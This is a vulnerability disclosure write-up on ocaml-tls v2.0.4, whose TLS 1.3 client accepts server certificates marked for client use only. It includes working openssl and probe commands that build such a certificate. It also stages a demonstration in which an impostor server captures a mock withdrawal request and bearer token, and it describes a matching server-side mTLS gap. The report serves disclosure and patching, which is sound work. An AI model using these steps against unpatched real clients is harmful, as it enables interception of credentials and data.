ocaml-tls forgets its own legacy checks

wrong-purpose cert sails through, twenty-one other stacks say nay

`Discovered 18 Apr 2026 · Edited 9 May 2026 · Updated 20 May 2026`

MirageOS unikernels, Robur deployments, and OCaml applications pick ocaml-tls. Its legacy bouncer turns clientAuth away at the door; its current one opens that door and welcomes with application data. The library shipped a second cert-validation walker with TLS 1.3 and forgot to wire checks.

> *Certificate authority marks client-only; ocaml-tls walks wrong path, client credential stands up public-facing webserver.*

Every employee at a bank carries a smartcard. The card holds a certificate the corporate certificate authority (CA) signed for one purpose, marked plainly: TLS client only (not TLS server). The card opens the building, signs the employee's email, identifies them to the VPN. A laptop left in a coffee shop, malware on a workstation, an automation host inside a service mesh — anyone holding any clientAuth cert from any CA the connecting client trusts, with a SAN naming a hostname that client reaches, can stand up a server. The CA's signed purpose statement, parsed and discarded.

One library, two walkers; the new one skips the purpose check the legacy one performs. Same cert, same trust anchor; TLS 1.2 rejects with "bad certificate: extended key usage", TLS 1.3 sends GET and reads the reply.

A leaf certificate carries two extensions that constrain what its key may do. Key Usage names the cryptographic operations the key is licenced for. Extended Key Usage names the application-layer purposes: `serverAuth` for TLS servers, `clientAuth` for TLS clients, `codeSigning` for binaries, `emailProtection` for S/MIME. Both extensions are the issuing CA's signed statement of intent, and anyone reading the cert is bound to honour them; ignoring them overrides the issuer's authority.

ocaml-tls already knows how to honour them: they're both checked by helper `handshake_client.ml:validate_keyusage()`, and the TLS 1.2 cert path calls it on every handshake. The TLS 1.3 walker calls only `validate_chain` and stops. Two checks the library already implements, on a leaf the library already parses, on a code path the library never reaches.

Don't trust, verify: Stand up cert, watch ocaml-tls accept

The leaf is CA-signed and unremarkable: the SAN matches, the signature verifies, the Key Usage is what a TLS server carries, `extendedKeyUsage` names `clientAuth` and `codeSigning`, not `serverAuth`. Stock `openssl s_server` presents that leaf over TLS 1.2 and TLS 1.3 from one trust anchor, so one endpoint answers every probe.

```
# Brings up CA, signs client leaf
$ openssl req -x509 -quiet -noenc -newkey rsa:2048 -days 365 -keyout ca.key \
     -out ca.crt -subj /CN=CERTMASK-test-CA

$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout leaf.key \
     -subj /CN=localhost -addext subjectAltName=DNS:localhost \
     -addext extendedKeyUsage=clientAuth,codeSigning \
     -addext keyUsage=critical,digitalSignature,keyEncipherment | openssl x509 \
     -req -CA ca.crt -CAkey ca.key -days 365 -copy_extensions copyall \
     -out leaf.crt

# Sanity check: Read extensions off cert
$ openssl x509 -in leaf.crt -noout \
     -ext subjectAltName,extendedKeyUsage,keyUsage
X509v3 Subject Alternative Name:
    DNS:localhost
X509v3 Extended Key Usage:
    TLS Web Client Authentication, Code Signing
X509v3 Key Usage: critical
    Digital Signature, Key Encipherment

# Serve wrong-purpose leaf off stock OpenSSL server
$ openssl s_server -accept 14833 -cert leaf.crt -key leaf.key -www &
```

Two ocaml-tls clients dial that openssl server, one at each version, legacy and current — the finding is the diff:

```
# dune + tls-lwt assumed present (opam install -y dune tls-lwt)
$ git clone -q -c advice.detachedHead=false --branch v2.0.4 \
     https://github.com/mirleft/ocaml-tls.git
$ cd ocaml-tls
$ opam exec -- dune build certmask/probe.exe

$ _build/default/certmask/probe.exe tls12 ca.crt localhost 14833
TLS 1.2 handshake REJECTED
TLS failure: bad certificate: extended key usage
VERDICT = REJECT

$ _build/default/certmask/probe.exe tls13 ca.crt localhost 14833
TLS 1.3 handshake COMPLETED
app data received: "HTTP/1.0 200 ok"
VERDICT = ACCEPT
```

Legacy handshake calls its own `validate_keyusage` and emits the error string `bad certificate: extended key usage`. Then `probe.exe tls13` demonstrates the bug: same library, same cert, same trust anchor; switch the version dial and the handshake completes with the impersonating server's reply `app data received: "HTTP/1.0 200 ok"`. PoC done, cost:

```
# Client POSTs its exchange withdrawal to the host it trusts:
$ _build/default/certmask/probe.exe tls13 ca.crt localhost 14835 \
     sk_live_a3f9c2e1
TLS 1.3 handshake COMPLETED
VERDICT = ACCEPT

# The impostor's own terminal:
$ tail -f /dev/null | openssl s_server -accept 14835 -cert leaf.crt \
     -key leaf.key
ACCEPT
CIPHER is TLS_AES_128_GCM_SHA256
POST /sapi/v1/capital/withdraw HTTP/1.0
Host: localhost
Authorization: Bearer sk_live_a3f9c2e1
{"asset":"BTC","amount":"12.4","address":"bc1qattacker"}
```

The withdrawal sits in the impostor's terminal, verbatim, beside the host name the client addressed: the transfer, and the bearer token that authorises it. Whoever holds clientAuth holds what the client would tell them — a psychiatric hospital's records, a hedge fund's positions, every client that trusts a CA the attacker can borrow a leaf from.

Trace to vulnerability site: walker skips check

The two cert paths sit side by side in the tree: Legacy path houses the checker, legacy handlers call it on every handshake:

```
# legacy TLS 1.2 handler: validate_chain, then validate_keyusage on the leaf
$ sed -n 217,221p lib/handshake_client.ml
  let* peer_certificate, received_certificates, peer_certificate_chain, trust_ancho
    validate_chain cfg.authenticator cs cfg.ip cfg.peer_name
  in
  let* () = validate_keyusage peer_certificate `RSA in
  let session =
```

Current walker calls only `validate_chain` and goes straight to the session:

```
# current TLS 1.3 handler: the same validate_chain, then straight to the
# session -- validate_keyusage is never called
$ sed -n 123,126p lib/handshake_client13.ml
  let* peer_certificate, received_certificates, peer_certificate_chain, trust_ancho
    validate_chain state.config.authenticator certs state.config.ip state.config.pe
  in
  let session =
```

Same chain validation, one missing check: the legacy handler calls `validate_keyusage`, the current handler does not. The library's own history, in the clone already on disk, says when the gap opened:

```
$ grep -c validate_keyusage lib/handshake_client.ml lib/handshake_client13.ml
lib/handshake_client.ml:3
lib/handshake_client13.ml:0
$ git log -1 --format=%ad --date=short --diff-filter=A \
     -- lib/handshake_client13.ml
2015-12-09
$ git log --format=%ad%x20%s --date=short -S validate_keyusage -- lib/
2021-04-13 ECDSA and EdDSA support
$ git show --stat=72 --format= 3f1f866 -- lib/handshake_client.ml \
     lib/handshake_client13.ml lib/handshake_server13.ml
 lib/handshake_client.ml   | 88 ++++++++++++++++----------------------
 lib/handshake_server13.ml | 14 +++----
 2 files changed, 42 insertions(+), 60 deletions(-)
```

The check `validate_keyusage` arrived in 2021, in one commit that wired it into the TLS 1.2 client but never the TLS 1.3 client, which had sat in the tree since 2015. The legacy path uses it; the current never has.

Fix

Cybernuke's patch lifts the helper out of `handshake_client.ml` into `handshake_common.ml` as `validate_server_keyusage`. The two legacy call sites move to the lifted helper, and the current walker gains a call:

> ▶ the patch, if you want to see how it works

Saved as `fix.patch` at clone root, applied and rebuilt in place; the first server is still up, re-running the probe against that build:

```
$ git apply fix.patch
$ opam exec -- dune build certmask/probe.exe

$ _build/default/certmask/probe.exe tls13 ca.crt localhost 14833
TLS 1.3 handshake REJECTED
TLS failure: bad certificate: extended key usage
VERDICT = REJECT
```

The probe flips from ACCEPT to REJECT with the error string the legacy helper raises. The lifted helper now serves both walkers, so both exit on the legacy walker's error path — one cert-purpose validation universe.

Scope

In scope: TLS 1.3 client connections against any trust anchor, in MirageOS unikernels, Robur deployments and OCaml apps on `mirleft/ocaml-tls`; the demonstration pins v2.0.4. The attacker needs only a legitimately-issued cert in a non-server class from a trusted CA whose SAN matches the connected hostname. Internal authorities are freer with names in that class, because the purpose bit is what was bounding them.

The TLS 1.2 client has checked purpose since 2014, eighteen months before ocaml-tls started implementing TLS 1.3 — RFC 8446 settled in August 2018, and v0.12.0 shipped a second cert-validation walker with it in May 2020. That walker has never carried the check, through every release until 2.1.0 closed it on 20 May 2026. Twenty-one other production stacks reject the same leaf under the same trust anchor; ocaml-tls was alone.

Our fix also closes a sibling Key Usage gap. A TLS 1.3 server signs the handshake transcript in CertificateVerify, so a leaf whose Key Usage is present and omits `digitalSignature` is signing under a bit its issuer withheld — forbidden by RFC 8446 §4.4.2.2, tolerated by ocaml-tls. The helper reads both extensions in one pass, which is why a single call closes both gaps. OpenSSL and Go show the same tolerance, and Go's security team states its position plainly: "known behavior which we don't consider a security issue". So the KU axis is known behaviour to its largest implementers rather than a zero day; the ocaml-tls slice is fixed.

Afterword: The question that reopened the report

Nine days after disclosure, one agent-operator dialogue reopened it: This report finds certificate purpose goes unchecked by clients. Turn the handshake around. Does a server check?

No. On a fresh v2.0.4 tree, a server validating a client's certificate on a mutually authenticated TLS session calls `validate_chain` and stops. It never reads the client certificate's Extended Key Usage or Key Usage.

The dialogue's hypothesis holds: only legacy clients check certificate purpose, current (TLS 1.3) clients do not, and no server ever checks. A web host carries a leaf marked `serverAuth`; present it to an internal service admitting clients over mutually authenticated TLS, and it is admitted.

The blindness runs both ways: this finding stands up a server on a client's badge; the server-side gap stands up a client on a server's certificate.

Discovered 2026-04-18; disclosed 2026-04-30 (CERT/CC VRF#26-04-RTCNN; OCaml SRT in parallel). Target: ocaml-tls v2.0.4. CWE-295 · CVSS 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

`Updated 20 May 2026 — Cybernuke's reported fixes shipped in ocaml-tls 2.1.0: the TLS 1.3 client check as CVE-2026-45388 (OCaml SRT advisory OSEC-2026-06), and the server-side check of this page's afterword, on mutually authenticated TLS, as CVE-2026-45389 (OSEC-2026-07). Two scores now sit on the former CVE record, apart on one metric. One guard closed this Extended Key Usage leg and the Key Usage one beside it, so both share CVE-2026-45388; MITRE's record states no severity, and CISA-ADP's later enrichment puts it at 9.1 Critical on AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. OSEC-2026-06, written by the maintainers who shipped the guard, reads AC:H for 7.4 High, the vector this page publishes. Attack Complexity is the entire distance between the two: skipping the purpose check relaxes which certificates pass and changes nothing about reaching the client, so the attacker still needs a leaf some trusted authority issued in a non-server class, carrying the very name that client dials, and a position where the traffic for that name arrives. Those are conditions of a particular target rather than a repeatable setup, which is where CVSS 3.1 puts complexity High — and the maintainer, scoring the same defect from inside the library, reached the same reading.`